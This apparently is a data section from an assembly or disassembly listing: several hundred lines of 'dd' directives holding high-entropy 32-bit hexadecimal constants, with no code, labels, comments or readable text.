		dd 657FE0Ah, 217D830Ch,	0D309306Dh, 0F5E7954Eh,	79BF9758h
		dd 6FFA0D0h, 5D207E6Ch,	67613A4Ah, 1168E90Fh, 5A2FFE63h
		dd 1CFB9577h, 0EB7CAF8Bh, 0C3F99970h, 4B3AF1C3h, 0D9775AEAh
		dd 4CCCBAEh, 45C405FAh,	0F704C885h, 305BA8DDh, 4346645h
		dd 86104ED8h, 2D176371h, 0A6E13EFEh, 8F8D5DAh, 3C4F69B0h
		dd 2E0B29ABh, 12ED4C56h, 0E85DE98Bh, 0C536F5FEh, 1425F3Ah
		dd 0E04735ACh, 0ED9B404Bh, 0F481E1Fh, 0A1CE05D0h, 3587E9E2h
		dd 131D1C33h, 0E5935936h, 99A4F83Bh, 0D83C4992h, 6DA9105Bh
		dd 50C3BE02h, 45DC2CF2h, 71D20A05h, 0EED141D0h,	0A261BD96h
		dd 48011536h, 28F553FCh, 857F0EEDh, 9AF6EB50h, 0EF758FC9h
		dd 535AA71Ah, 0B994A6Bh, 87627D1Eh, 286C3C48h, 7082E189h
		dd 7F6064BCh, 0D12098CEh, 5F7998FCh, 0F1CDA5F5h, 4A9B68F6h
		dd 2ECD39EBh, 86F758BEh, 0F588FD1Dh, 0EF2D1329h, 6170A041h
		dd 36139750h, 0F7396AE1h, 76C9FC01h, 28EA4581h,	0EC87791Bh
		dd 0F9B7164Eh, 0DE934322h, 65BFB704h, 2B80A12Bh, 0E86EC3EFh
		dd 0B370BD80h, 5CAEDDA0h, 0FE82FA5Fh, 0DE4E4A64h, 938402ABh
		dd 0BDD0B6D0h, 759FEDF2h, 0EE4E7D16h, 8CEB42C4h, 0FB2C76ABh
		dd 64EF97FEh, 36BF86A3h, 8F25F476h, 0DB935D57h,	3CB7E5C9h
		dd 3A56845Fh, 75B2BE00h, 0F9B572C7h, 6A0CB07Eh,	345BC15Ah
		dd 3B50CEACh, 86D13FBCh, 0B5422931h, 0FE518B72h, 0C95EF65Fh
		dd 8CE0677Fh, 8736D8ABh, 0D35D177h, 8C0CE551h, 0ABAC980h
		dd 5ADE68B9h, 15EA819Ah
		dd 0AF73042Ch, 8757C210h, 0A3F6AA8h, 0AF06FF35h, 5BAB17Dh
		dd 18038CC5h, 22AE0007h, 0E9373DE6h, 2E8D7949h,	29DD264h
		dd 28106804h, 9282DDBCh, 9AC4FEFAh, 5156B71Eh, 0D2CE05CBh
		dd 9F5198BAh, 0F8285702h, 0E308386h, 2DE95C6Fh,	0ED6E4470h
		dd 0DE2CC9DBh, 0A659ADF2h, 0A1EBA4B5h, 0F4BCA58Ch, 0B53442BFh
		dd 0F6778009h, 7D7A41A1h, 17642F29h, 2B7C2666h,	0DAA01B7Ch
		dd 0DF2F50AFh, 82C95A78h, 5427C208h, 184E181Eh,	0B02DEFEAh
		dd 55D0728Eh, 0BB30E65Fh, 0DBF4C408h, 425B8854h, 5D4A9CF0h
		dd 47137DF3h, 9239BC37h, 0CEC6CF84h, 87C3C5Eh, 0FF581892h
		dd 9751D22Ch, 769D9758h, 0BE0B7AFFh, 85DFE55Dh,	0EF2694E9h
		dd 41FD4449h, 49695CFFh, 2C8B0893h, 28F6407h, 89F9A682h
		dd 0B91CDDCAh, 6852530Bh, 1B4075D6h, 0B99F82F4h, 232F66DDh
		dd 4F047F56h, 0F68455Eh, 0E01F8DBEh, 12325FBEh,	9CA4847h
		dd 83021AFEh, 0D254BB28h, 5F0880CCh, 97FFB155h,	319A802Dh
		dd 65965BDDh, 78276C04h, 0FA2C4CE1h, 6740A41h, 0B21C403Ah
		dd 0CA80130Bh, 3524DFDAh, 5B0DBCF4h, 2A232DFBh,	0B8E52DF9h
		dd 24D8F46Fh, 0BFF84EE9h, 14763644h, 0A4D25CEDh, 45444BB8h
		dd 0BB7B4B1Bh, 2A7E4ECBh, 4A59E2A8h, 0E507F259h, 650E05EAh
		dd 9EE0FCEDh, 9E31ECE8h, 2A587759h, 68D3F701h, 28073D05h
		dd 0F33DD0BBh, 0EC2E027Ch, 59E12FE9h, 0B850C00Eh, 6D023BD2h
		dd 40FE3510h, 0C8FE8Bh,	7A011BA7h, 5400CB81h, 4B581A52h
		dd 0C002EBC1h, 275A346Ah, 92B0D137h, 560B5433h,	0F6F08F4Eh
		dd 7D044D9Dh, 97A8B83Ch, 26A0EDCBh, 43826720h, 4049F867h
		dd 0A17ABDCEh, 948C874Fh, 0A42D56E7h, 4E072E10h, 6A5729AAh
		dd 4818ABCCh, 53867F8h,	0CA24FCB8h, 9DA620E4h, 6EEF1B23h
		dd 606F36F9h, 0C49D31ACh, 40B182D3h, 3B57AFC5h,	59484837h
		dd 85F9204h, 5A2CA434h,	0F25174B0h, 5D312F0Ch, 8105BD20h
		dd 3E0BA304h, 6DBCDE31h, 0E5FCCC3Fh, 667F642Ch,	0E8B14409h
		dd 282A942Ah, 5FAB3D82h, 7A74E753h, 68619994h, 75C225FEh
		dd 5B64A059h, 0D480CDAEh, 1DC42E77h, 0D2BE2DE8h, 73DC5D37h
		dd 0E22B6679h, 0F76D14D4h, 7EF35FABh, 546897D8h, 624E76BFh
		dd 556AFCFBh, 0D22C02D5h, 0C58000AFh, 0C81C0421h, 83A8692Ch
		dd 0F57520h, 0D5F659B5h, 8003EDC0h, 0FE8EE50Eh,	0F818BEC5h
		dd 4E88FC06h, 6464BBEAh, 0B6C53DFDh, 3EF1FA5Ch,	0F5884141h
		dd 418958A8h, 4FB42AA3h, 0A4EC4BE4h, 1E0E3F92h,	0F4567DCBh
		dd 28AD5FECh, 895C5B27h, 0C3585343h, 7659F268h,	70FB6BE2h
		dd 0BFE35925h, 9AE95006h, 0BA1D3021h, 74E772B1h, 490802DBh
		dd 8F7746EDh, 5F182BB5h, 7B5DA331h, 0CC93FBB9h,	0EB5B8109h
		dd 5703F482h, 82075F4h,	0AB09A891h, 89A25998h, 0B364E3B5h
		dd 9D4C7D12h, 44D9108h,	0C327B252h, 0EA9808B9h,	0F27D8007h
		dd 61A7E92Fh, 0A17AAD0Dh, 710FF46Fh, 14BB2501h,	312E3A03h
		dd 0E060B53Eh, 47F1FAE9h, 0B47E2034h, 0BCF84A14h, 5E18BF64h
		dd 6DD280EAh, 37001033h, 0B149DBDh, 924EE9EFh, 41F741CDh
		dd 0F62B42h, 2EB2CBBAh,	88DDE340h, 0B120AE79h, 75D8F129h
		dd 4AF6708h, 0EC629168h, 444EC0B3h, 4813E4Ah, 6A40A5C1h
		dd 744AC20Dh, 4124C054h, 70B30417h, 49660804h, 0AE90C425h
		dd 3EAF9AB1h, 0E90C02F7h, 885268E7h, 3B58BFE8h,	302752ACh
		dd 641855F0h, 17548868h, 0F2EB54Bh, 0ED2238E9h,	6A9DF305h
		dd 0EB0E78F0h, 0DF48A46Eh, 760A5981h, 50FEC004h, 0E1F4E68h
		dd 0B84918D5h, 0EF48FE39h, 0BE72E164h, 0CBB407B8h, 0F5FF9248h
		dd 88D92A71h, 8526B63Ah, 0CA21F756h, 0BA00EADAh, 96271F68h
		dd 5504D552h, 350FD084h, 2B01188Bh, 0B09C2D0Bh,	0D12A82F0h
		dd 0BB1519B0h, 0E3800E3Eh, 0CF1472C7h, 0FE3B0252h, 0D26CE9CAh
		dd 0E2EF077Eh, 2B150128h, 815087Dh, 255ADA25h, 61C4337Eh
		dd 65B75951h, 8D416E7Fh, 2CA05ACDh, 42201C71h, 31F6180Eh
		dd 1AE9F5F1h, 40261A9Fh, 82303A5Ch, 0F3DCE1FDh,	0BE3CD42Fh
		dd 0B34A1CF8h, 562F84C3h, 0D243E2AAh, 9E0FD821h, 8C68A250h
		dd 1F851251h, 6EF3FE8Bh, 0C671F3D7h, 171EC148h,	0D01A8BE9h
		dd 1762A200h, 0EA26107Eh, 0AD024408h, 5F598014h, 85885F0Eh
		dd 7AF678A5h, 0C9E62D5Dh, 3A382568h, 682FE40Bh,	59C0B030h
		dd 250AE5Eh, 7367A0B8h,	485D3114h, 39A2693Dh, 0D613C468h
		dd 0CB716322h, 3CDADEAAh, 0A7A7FF97h, 0A14A6561h, 7DEE3AF1h
		dd 2331413Bh, 0B2BA04F6h, 0C8890B5Bh, 4CFF7E59h, 0E2943626h
		dd 0D4C251E7h, 2563DB26h, 7C42E85Ch, 54570307h,	6A3760E1h
		dd 5F2D9849h, 3F919A18h, 8853D52Fh, 7625074Ch, 28E60749h
		dd 0F79761E1h, 0A605CFDFh, 7ECA5839h, 4E1392C3h, 5ED1BE48h
		dd 0B32B9FBBh, 37B98008h, 0A01BBE11h, 316848ADh, 260C1356h
		dd 0F055DD10h, 0EF12CCF1h, 0FAACA0h, 57D5F71Bh,	660E6EBFh
		dd 89E928DCh, 13DF7129h, 27750155h, 0FC6B7556h,	1F91A1F9h
		dd 0B7C40C1Ch, 0D1A816Ch, 0CB0503D7h, 0EEA50F24h, 7669199Fh
		dd 8A0B87Eh, 52EA1CD6h,	688BAEA1h, 0E86E2C17h, 964CDE62h
		dd 9C259CCh, 6B716FDEh,	24A6A7Dh, 6BF116F6h, 37B80515h
		dd 0AA48C51Ah, 7BE9B5D0h, 633D246Ch, 69E23F59h,	0CCD533AEh
		dd 5E5A9DDCh, 1402C72Dh, 3A7395F9h, 0D0FABD97h,	1FDEE9AAh
		dd 87C43BBEh, 9CBF1394h, 2D419DF5h, 12A6420h, 0D06DCA80h
		dd 0F0B050E2h, 580FC228h, 0C4AFB551h, 0C9EF99EAh, 0D8F66ACBh
		dd 0C188BE92h, 555127E9h, 0F74B4690h, 14ADBE80h, 0C22DFA38h
		dd 30341504h, 10FAF07h,	0DD271CF2h, 0D430C494h,	0E5103F03h
		dd 59E37AC9h, 0AC0B53BAh, 0C094D830h, 50FFE7C4h, 5B0A6802h
		dd 0C060B9A2h, 8BDFE5FFh, 75DED6CAh, 0A118A44Bh, 7B7B07A8h
		dd 4FDC95F5h, 3C180558h, 0C7CCC69Bh, 2419C10h, 4AFC780h
		dd 0B2A48C69h, 123ABCE8h, 0D4B0AF5Ah, 4974BFD0h, 9F394052h
		dd 895F809Ah, 0BE2B8EA0h, 84A2D39Dh, 0BD0B8D68h, 98E94F4h
		dd 0B344B8h, 5A23F2B9h,	0E90816EDh, 2BF8F1F0h, 5A1271FBh
		dd 892D2A76h, 6F0E22DAh, 3FDA4755h, 0BBD6FC12h,	6557C831h
		dd 802AE90Ch, 3F03DDDEh, 0BB5D324Eh, 310B143Bh,	9050B5F3h
		dd 59CE2F01h, 9186D230h, 12A7BF80h, 0AE3A8D76h,	0DEF2E0A1h
		dd 0F6BB802Eh, 81160C6Fh, 7268E303h, 4EE96ECFh,	73B03156h
		dd 0D7C87F4Bh, 47450EE7h, 0CFC0507Ch, 68927FB4h, 0FD0AE0B0h
		dd 0E560BD86h, 0DE1BDF0Bh, 0E469EFEAh, 20FF532Bh, 4B66BF1Fh
		dd 503D276Dh, 48B0EA57h, 4EA92B6Ch, 1088AE4Ch, 0E5149D49h
		dd 5B33537Ch, 0F0F31964h, 0C25AE406h, 2D296C0Ch, 93B4F160h
		dd 0DA1C5595h, 0D142EE99h, 0CEE1200Fh, 0EBE12775h, 0EB51878h
		dd 4C3FC463h, 292771AAh, 75A334FAh, 5B43C40h, 0D0DCF602h
		dd 12C382ECh, 0FEF7ED40h, 7783BC0h, 0B04245A0h,	6A6241D9h
		dd 9C183F0h, 0C83112E8h, 4D7F157h, 0FC1D1C68h, 0F026C97Fh
		dd 147D9D57h, 0F072301Fh, 236C056Ah, 29F4B77Dh,	872E0260h
		dd 0D0D7F7FAh, 5450A708h, 0D0E1970Bh, 4C833609h, 635D25A5h
		dd 1248FBBFh, 3CF2955h,	0F503F739h, 0E3D7E0CAh,	0FB545B7Ah
		dd 88E99820h, 80DAB9A5h, 0F606E4C0h, 0EC2D80D4h, 20E05A22h
		dd 0BF0B3D39h, 854E1C75h, 2EEEF6Dh, 3251C5CEh, 8D05CEC0h
		dd 0CEBAFF4Fh, 0B868509Ch, 11EF3E16h, 750BD701h, 521264Ch
		dd 60A172D8h, 13890C62h
		dd 60805B2Ch, 69503E73h, 5591EB04h, 5A03AF20h, 0BCCD14D8h
		dd 411FACAAh, 0DB95D408h, 0F60D90B5h, 0AB76BFE1h, 0FE5CB28Bh
		dd 74E961F7h, 3E337AB8h, 68A7D256h, 167568EEh, 0C04AFE43h
		dd 7B74E1C3h, 0D746212Ch, 0F7397C18h, 7687E6D3h, 7A5678D9h
		dd 0E95E0951h, 0A959978Fh, 2D935313h, 0D8409E2h, 46F6C283h
		dd 0D609912Ch, 0B623087Ch, 0E2FE240Ah, 3856F197h, 250212BBh
		dd 8649EF8Fh, 0C191FF38h, 7F67898h, 5A66C304h, 0F028E040h
		dd 0F6C9E92Ch, 0E9838D2Dh, 0C14F30B2h, 2C09CBB8h, 18FDFEEFh
		dd 81B148B3h, 0BD47BBEh, 6730082h, 0FB0BCAADh, 0E2A496Dh
		dd 0A9606576h, 6885A904h, 6F093500h, 0D4B56B53h, 8C37066Ah
		dd 0E9C9B226h, 556E4285h, 5562EDE5h, 5A5E7D54h,	4053D172h
		dd 3CF5BD55h, 0E964210Bh, 81DEF611h, 6DA553EBh,	244BD35Dh
		dd 0A54E7EBDh, 0ECCA4419h, 685C27D7h, 82F14F52h, 3E00Ah
		dd 19483EE7h, 0A890EEC1h, 0B94AD662h, 45E5E07Ch, 75F57181h
		dd 0A75C6171h, 0F0377962h, 6604D4E5h, 9E9766Fh,	27E233D5h
		dd 9182CB17h, 48FA8E92h, 2D2DB1CFh, 3E137628h, 184847ADh
		dd 0EE783E14h, 522158C0h, 0EDC154A0h, 0FD58761h, 2CBB85C3h
		dd 0DF4460C3h, 89E69F6Ch, 2E8B61FBh, 42032DEEh,	7709FE30h
		dd 0D9B569F0h, 0DD2F3C3Bh, 0E3B2F26Ch, 0B5FA53BDh, 4AB7A956h
		dd 3C399FACh, 9CC27161h, 318CC885h, 461D15Eh, 0B32A6B5Dh
		dd 702E15ABh, 90853E81h, 2B05517Fh, 24B8B25h, 126CE4B9h
		dd 0F157B384h, 29BE2EF7h, 8AC2A53h, 48A4148Bh, 0F0C3EB45h
		dd 7628F09Eh, 0EACD4B21h, 0EDEB9Ch, 0C1114170h,	67E905EBh
		dd 5C13F89Eh, 1BC6F3EBh, 0B01880EEh, 3C88595Eh,	0F59F58C5h
		dd 1FE50FD9h, 0E96AEDE1h, 4ED12EA0h, 8F3037C5h,	95AAF66Dh
		dd 84B92A80h, 175CE35Eh, 0CD124D8h, 8815FE45h, 0B29B170Bh
		dd 562C13B7h, 1A8B3CD3h, 120415C2h, 0DDF60206h,	609BE2C0h
		dd 808440E9h, 0DB7EEE80h, 1F2DD67Ah, 583F5A26h,	730ACA1h
		dd 6D98BB11h, 95A4112h,	63C1FC80h, 0A4B61D86h, 20D7E7E9h
		dd 3FAB852h, 0C9F8BFD7h, 5CD0797h, 10026410h, 4696BD81h
		dd 0B5410D22h, 0A826476h, 6127E35Bh, 740EEFBh, 25E9F589h
		dd 5E716E92h, 0F88ADFA8h, 87720962h, 0FED12939h, 0D21F6C4Ah
		dd 0FD733409h, 81204416h, 0F23126F3h, 0F2F1991h, 0E8218C4Ch
		dd 98D44311h, 5D372505h, 2887285Ch, 74F9FEF3h, 0A5E0627Ah
		dd 4D385709h, 66814E8Fh, 6EE132FDh, 0E67BFEFDh,	696809AEh
		dd 0EFE7D148h, 0BFEE224Bh, 68FEC2F7h, 0DF01EC2Dh, 3594D941h
		dd 0D8F12E5Ah, 0D669C02Bh, 674CEF36h, 0BC18103Bh, 2F37F340h
		dd 7C8025E6h, 4F11A9ECh, 518102B5h, 733A4058h, 71EE88AEh
		dd 41281018h, 0A27040Ch, 0F3299B39h, 0AAEB07DBh, 0AA4B557Fh
		dd 813FE94h, 7B4F2202h,	0EA918096h, 24544E9h, 0D2685019h
		dd 0DC826E71h, 0D4F10B8Fh, 0D58DC0A7h, 76CC2506h, 0C99D76D0h
		dd 0AFEAAA3h, 432B2F55h, 0F628FB58h, 0E39CB2F2h, 0EE109BE8h
		dd 2B10B902h, 1F414FA6h, 32DF42AEh, 52755B60h, 50B9DE4Ah
		dd 3356710h, 0EF41872Dh, 5D0E150h, 0D75A0742h, 0A19FE594h
		dd 0E13687Ch, 24E7F66Ah, 61002652h, 0BA5FD971h,	430BD465h
		dd 0DC102458h, 350776E7h, 1DCB70EAh, 0FFBCB7B2h, 0F5D7AAB3h
		dd 0C970A9E3h, 0F0005754h, 49072067h, 3E974D4Ch, 5E8D9DD9h
		dd 851029ECh, 94C32914h, 0C288082Eh, 0AAAF8E68h, 74C369CBh
		dd 44EB15A9h, 60A6BEA7h, 27F5F31Fh, 9673CC75h, 0B9469774h
		dd 0FCEE0247h, 43367FFFh, 24EEE566h, 9050C518h,	5F8EB80Bh
		dd 7861F925h, 0D1F7245Bh, 0FEF10231h, 81DDCFEEh, 0ED7DE943h
		dd 577BDFE6h, 746894B0h, 5251BD10h, 82A283D8h, 0C2555C8Bh
		dd 5872FC7Ch, 2797C005h, 7C851882h, 9868B990h, 0FAF1A64Ch
		dd 90B19A63h, 25074A48h, 1673043Fh, 4017B23Dh, 2F16E8D4h
		dd 4B047D13h, 161DD729h, 0C4A8BF8h, 2AE4508Fh, 0BBE2A8EDh
		dd 0EC25D71Ch, 17333FA7h, 0E45E32C1h, 0FE1E509Ch, 16175388h
		dd 9512125Ah, 5C21E06h,	0AB4F4D26h, 5F08EC50h, 0CB0647E0h
		dd 1A5C0506h, 65536804h, 0BF8529BAh, 27CC03DEh,	0F4E96EFDh
		dd 0E8659B0h, 30D7F6FAh, 8409B79Ch, 0FAE9EAD2h,	2D42C0A4h
		dd 0C9EB5066h, 0AAA16AB4h, 0D1FEC296h, 0F96F613Dh, 5EDC201Ch
		dd 0E89C3109h, 3C0E0309h, 517A0960h, 5A77F988h,	0D95E9D86h
		dd 4A8AEF1Eh, 0AA9DEA2Dh, 528154F4h, 0D0454227h, 84135EDh
		dd 5E7287Bh, 84028A01h,	94EE940h, 62BA0324h, 0AF0B575Dh
		dd 0A1815A56h, 5F2C9064h, 6FA257DEh, 0BB00DF81h, 12264ED3h
		dd 0AEDBF733h, 13EA3312h, 0AD07B818h, 1364B32Eh, 31ADFB29h
		dd 7509E90Bh, 848F0FAh,	0E9BFB424h, 0A4E90B16h,	941C80Dh
		dd 67220323h, 6FB5CE81h, 91D416FAh, 1BCA1C07h, 7EEEED82h
		dd 0BC12403Eh, 681656DBh, 63E33371h, 4590E55Fh,	0CFC1A805h
		dd 1FD4255Ah, 925736FEh, 87F8F741h, 4F7CB54Eh, 0E3C9B05Bh
		dd 68632E7Ch, 0C20D1F42h, 0CE898398h, 9A7F595Fh, 0C8D73596h
		dd 12EAC386h, 0AA0D89DBh, 0E1BECAC0h, 1266FE23h, 94C4E946h
		dd 0CFA8FACCh, 0D4888306h, 0B30B125Ah, 0F5DC2825h, 0C1D7E34Ah
		dd 0D828CC1Eh, 0D329BA5Fh, 0BF44AE2Ah, 91EE12E9h, 6B5FF9C8h
		dd 0B82FC8B5h, 0FD5827A9h, 6814E23Eh, 0D4DF0766h, 0A0ACD39Eh
		dd 82A4E55Eh, 0E025C80Ch, 1DA8DD01h, 3B923A08h,	0F1F597C7h
		dd 7A34C01Fh, 1308FE50h, 8AA8F9E9h, 2A78894Eh, 13CB6C40h
		dd 24563A54h, 1D2BEBC1h, 0FC89C5F3h, 95B2172Dh,	32638206h
		dd 291CF2ECh, 51252B35h, 2A86F8Bh, 2B1EBD00h, 60F77D6Bh
		dd 0D4DFA4D5h, 58958294h, 3C24FB5Ah, 0A3F14C87h, 136F5405h
		dd 1D01C221h, 5D17B2D6h, 14BCBAEh, 35986FC6h, 0EC6BCB01h
		dd 0D0BBC960h, 61D4BD7Eh, 5646B7E2h, 31CEBDA8h,	5CF92143h
		dd 0E90FC134h, 0B6F7680Ah, 0E1F198F8h, 0F468009Dh, 84989535h
		dd 0C46045AAh, 0E681D6FCh, 0CC69169Bh, 0E0750C5Fh, 6548A535h
		dd 0E5D3DCB1h, 1F3E640Ch, 7D3A43D9h, 0A070E32Dh, 0E2EF228h
		dd 1D36B035h, 45E67A2Bh, 0E9DA25E9h, 575D0F0Ch,	23D64474h
		dd 0D3EC1D13h, 0EA432006h, 6C40191Fh, 0F19B18A1h, 4FC3447Ch
		dd 3E725C0h, 4A1F8F79h,	70568B47h, 0E0F0B717h, 0C23FF4F1h
		dd 6ECE4C88h, 9B1EFA19h, 0A27BCE10h, 321512A1h,	0FA0E34BBh
		dd 0CC4AED9Ah, 4E382DE2h, 0D5132E1Dh, 409007A0h, 73BDA07Dh
		dd 2F69089Eh, 2FF85E3Bh, 5FAD095Ah, 55BEA0C8h, 0EED00980h
		dd 0F75A6040h, 26121BEEh, 27FD764Ah, 0C85A373Ch, 12568E1h
		dd 2DDFE64Fh, 0DE658104h, 63664A2Fh, 4366D818h,	0CE7BB517h
		dd 2106E70Bh, 2F267F02h, 0B9F833Fh, 60BB9900h, 31A96BEEh
		dd 0F6ECB7D9h, 0FB967D9Dh, 0E902C306h, 971314F1h, 0EBC10685h
		dd 0FE79840Eh, 0C6E92A43h, 5F63040Bh, 0FA569F14h, 49BB2D0h
		dd 95485879h, 0D9F03A04h, 1DBCA0F1h, 0AC34E564h, 724B98EBh
		dd 5CF12562h, 92B9FFCAh, 0C3E47FC5h, 843024E9h,	0FE8E4244h
		dd 58B720CCh, 9EC2FB1h,	0F72637E4h, 0D200EBD9h,	311493A8h
		dd 0BFC7A0F1h, 43A995D7h, 0E49B6375h, 0E9A026FDh, 18C02ACAh
		dd 0A95EE3BAh, 0F2810234h, 36485AE6h, 30A297E0h, 0C06F502Dh
		dd 0E0A8067Ah, 8FD09F1Eh, 6404D927h, 0D27D093Bh, 907D4549h
		dd 1E324C45h, 43D14163h, 0FCE9DDF7h, 5C4FAFA5h,	0D4271F80h
		dd 0C10B3BD6h, 70DE88B3h
		dd 77E0F21Fh, 0ADAC2CBEh, 22B90DCDh, 5BF8C014h,	2C27E8E0h
		dd 0DA0E82A1h, 0D30101F6h, 0BB927B5Ah, 32DD56A5h, 0B9810790h
		dd 61C86596h, 37BBE41Dh, 0C271130h, 603A55EEh, 44DDB45Fh
		dd 30DC12B4h, 257C3C46h, 0F7418h, 0B85035C0h, 0D222407h
		dd 3DF1BDh, 814FEFD1h, 0F3F4CBF7h, 0A32D2F7Eh, 1F4B182Ah
		dd 0EB619E70h, 57055903h, 744741F9h, 0F3E5C8DCh, 0D2EA084Eh
		dd 6D755B4Fh, 0E9E81B67h, 831F4610h, 15A680Bh, 60202A46h
		dd 0EEBF0056h, 29AB758Ch, 0B4C05BDFh, 31056E02h, 0B54FBA57h
		dd 46C22460h, 2150DD13h, 0BE4A10A8h, 0D240689Eh, 9F25808Fh
		dd 358C6200h, 1CCB132Dh, 4F8CB003h, 0EB7E741Dh,	0FE2004A1h
		dd 0FB5D4EF0h, 0C0D5B227h, 42409829h, 60A83F6Dh, 7D510C2Bh
		dd 0FC97536Ch, 0D00820DCh, 5D25140Ch, 0E92F0557h, 155254C5h
		dd 0F67925BDh, 0E87D4AFEh, 0CF0EB14Bh, 4D97CA2Bh, 3DFB5B87h
		dd 42B12ABEh, 4A3968D0h, 0EC66C848h, 3ED4E351h,	52ADE1D0h
		dd 821A627Ah, 5302CE72h, 0C3CF5D54h, 0D0A9E909h, 3EFEB7Ah
		dd 75C78053h, 0EFABD728h, 9185D4AFh, 0DF565E0Ah, 5B5781FAh
		dd 5E2E2809h, 0A381A809h, 14F8AF33h, 0FCA58AE4h, 0EBB84AD0h
		dd 0E9F9F6F0h, 0D7010C27h, 0E457F3BAh, 0E85F5A5Eh, 87D14060h
		dd 0CA4E603Bh, 20E62DBEh, 3303EAB5h, 0CB296074h, 0D7440E9h
		dd 3C1817FEh, 30341F77h, 26C2C7ABh, 0AEF0A04Bh,	0C53C1FDAh
		dd 0ACE30155h, 6F388019h, 47C3EBD0h, 6308300Ah,	0BB779D0Ch
		dd 6C585460h, 2D94E141h, 0CC5C3EE9h, 86C5B162h,	0B5DF799Ah
		dd 50E1D164h, 46C6BBC3h, 544E9D30h, 4A62B93Eh, 2225ABB1h
		dd 0E9C274ECh, 0F3DE1C93h, 44E4208Dh, 526B8F7Ah, 983C8BDh
		dd 0B5E2EE9h, 0B230748Bh, 36B84199h, 0B32D00FEh, 83B0F91Eh
		dd 5B5A7F4Dh, 680B75CBh, 0D6984197h, 2B5EBE66h,	7020CBFh
		dd 51240209h, 0FC0F7157h, 8C5FCF2Eh, 7CE71C4Fh,	3E2A9808h
		dd 899ABFC5h, 59631EF9h, 91E949E0h, 2F517A4Dh, 8E2ED941h
		dd 1157C888h, 0C0C07F97h, 56E907EFh, 37A8885Fh,	0EB35D4B7h
		dd 38010EE9h, 936DE7Ah,	0E2B02BE8h, 1621FC2h, 99F3C20Ah
		dd 29C00458h, 0BAA0EE50h, 2817D0BDh, 92B040A9h,	0E54F1D23h
		dd 51CCB93Ch, 587FDE19h, 9CE1FCC1h, 319E85BDh, 80A45691h
		dd 44EC5802h, 0D0E0D6E2h, 65B52C74h, 0DD688418h, 45CEBE72h
		dd 0A010CA58h, 5B0504E8h, 0EEC2BA53h, 1F57CE5h,	450E51BBh
		dd 8A007B63h, 2FA8DC2Dh, 706E9505h, 7AF489A2h, 72C00CB0h
		dd 3F564CD6h, 0CB0D8B03h, 1CB6013Bh, 1C400883h,	6125E914h
		dd 549091E5h, 0E50EBD7Fh, 4D288E0h, 0D1614B1Eh,	3BE0BBE7h
		dd 963D04A9h, 0AF9CE9C2h, 0E7EE0012h, 924D9847h, 7A220071h
		dd 3439E781h, 0EAA04ECEh, 6B17663Eh, 0C2050955h, 7EB1EA5Ah
		dd 5984F46Fh, 9A95229Dh, 0C8BF005Eh, 3A48361Dh,	0E7B55EC4h
		dd 8F25921h, 529C13B2h,	78FF045Fh, 775F0B66h, 0E899AFA5h
		dd 0C3801ECFh, 5BEC28DCh, 9C408D10h, 5E61FEB9h,	4B18E8AEh
		dd 4A4B44A2h, 6BF9016Bh, 0FC88BBF1h, 0B7572844h, 6BD84BE1h
		dd 870D2800h, 0BD2D9B33h, 3C96450Ch, 14205B81h,	0F01D4125h
		dd 81A1E0BDh, 967C415Fh, 0FE8C6A85h, 0C0E6AA75h, 5B68592Dh
		dd 7031EA1Dh, 56340618h, 255A00D0h, 2BA64782h, 0B13DF2Dh
		dd 901E7933h, 5C360F85h, 51494AAh, 0B09DE908h, 68055199h
		dd 126113A1h, 0A7B1BF16h, 0D82EB62Bh, 0CF29B73Eh, 0B1A9E78Fh
		dd 467DD6D8h, 0F18E0627h, 7BA46F33h, 558CEF1Ah,	7AA641A2h
		dd 5A3CBCE1h, 8CEB558Ah, 1728ED83h, 0E3589940h,	4BE9987Eh
		dd 9F5A9040h, 0D962A556h, 1BAA0C22h, 2D53344Fh,	0BF45C4EBh
		dd 99A31917h, 0E598AE4Fh, 16A06060h, 8059CC30h,	907AED3Dh
		dd 0E550847Dh, 0D3BE0156h, 873F6972h, 0E5E96BD6h, 4DE90E61h
		dd 0AD2C8FC2h, 0F168C02Dh, 0EDD82940h, 2168820h, 0E90C3115h
		dd 53776B9Bh, 8EA73D72h, 0D2F79E03h, 5042042Fh,	0F54D1269h
		dd 0E7D5E157h, 0DD32AE98h, 0D589DF00h, 5DEF095Ah, 2CF529E9h
		dd 8A73BADh, 0E582E4C3h, 0FD15A761h, 20E8C1DBh,	0C9411C4Ah
		dd 1B45EF2Ah, 8ABB26A3h, 0E0551604h, 533270D0h,	0D0475BDCh
		dd 60BF1EDh, 45F0937Ch,	5025EBBEh, 406C07Dh, 9B39C435h
		dd 4EAF45Bh, 0E5401Fh, 6295BF57h, 3E364C14h, 40744E7Dh
		dd 2B76F560h, 0F4986961h, 8FF9B601h, 6C8E9C7h, 6FBD6287h
		dd 4D34F35Ch, 0FB922204h, 81A8DC59h, 0AB1CAF5Fh, 10C35804h
		dd 0B516A8BEh, 0BFBEB980h, 45BC0969h, 915037E9h, 0B6F5873Fh
		dd 7B8A08D6h, 5FED05FBh, 8C0F0868h, 0B8A059DCh,	1283CE2Eh
		dd 0B3ED6ADAh, 2FE85202h, 0D61A5539h, 0ED9F3590h, 0C6F2FE5Bh
		dd 0E8B14177h, 0B30953CAh, 0DCDA20D1h, 8FEA85EFh, 1504EA28h
		dd 3EF30C69h, 3A64F179h, 87D327F7h, 0A6DAC2E2h,	0FF6DC80h
		dd 264B4520h, 89C4108h,	6801CC99h, 3A875B24h, 3CA68568h
		dd 311F1862h, 0F7BD5CEh, 1350B517h, 1ED41086h, 0F8D61E4Bh
		dd 5814E73Bh, 4710EFF6h, 64542DA4h, 0A13620A8h,	9B2D5E02h
		dd 602F454Dh, 26730956h, 945E517Bh, 583308EBh, 0DBCEA1B8h
		dd 28E13BA1h, 0E6A24A36h, 639EE9B0h, 2F966C95h,	27702C4h
		dd 7C178FEFh, 366C4C66h, 2A70C950h, 0A3418D4Eh,	153D3751h
		dd 0C7A8063Fh, 4895C90Ah, 81A33C7Fh, 42BA2B5Ch,	0FEDDC006h
		dd 310FF500h, 89D32766h, 5A5754h, 4EB4B182h, 609C9D14h
		dd 21C3292Eh, 894C5FC9h, 0A584398h, 3C680921h, 8A04F112h
		dd 4B90237Ch, 5A75A55Dh, 2C100AB6h, 4721092Fh, 616F061Ch
		dd 9AB325BFh, 0EB18FA5Eh, 0E83C306h, 80405B0h, 73B0413h
		dd 34B80187h, 9C4023Ah,	0AE584EC1h, 1D89F8D8h, 169F7C67h
		dd 9C7405CBh, 0C071EC2Eh, 21203E2h, 6C56C429h, 0F6810075h
		dd 7B604067h, 0F1032A70h, 0B65216E8h, 484FA365h, 94C44E49h
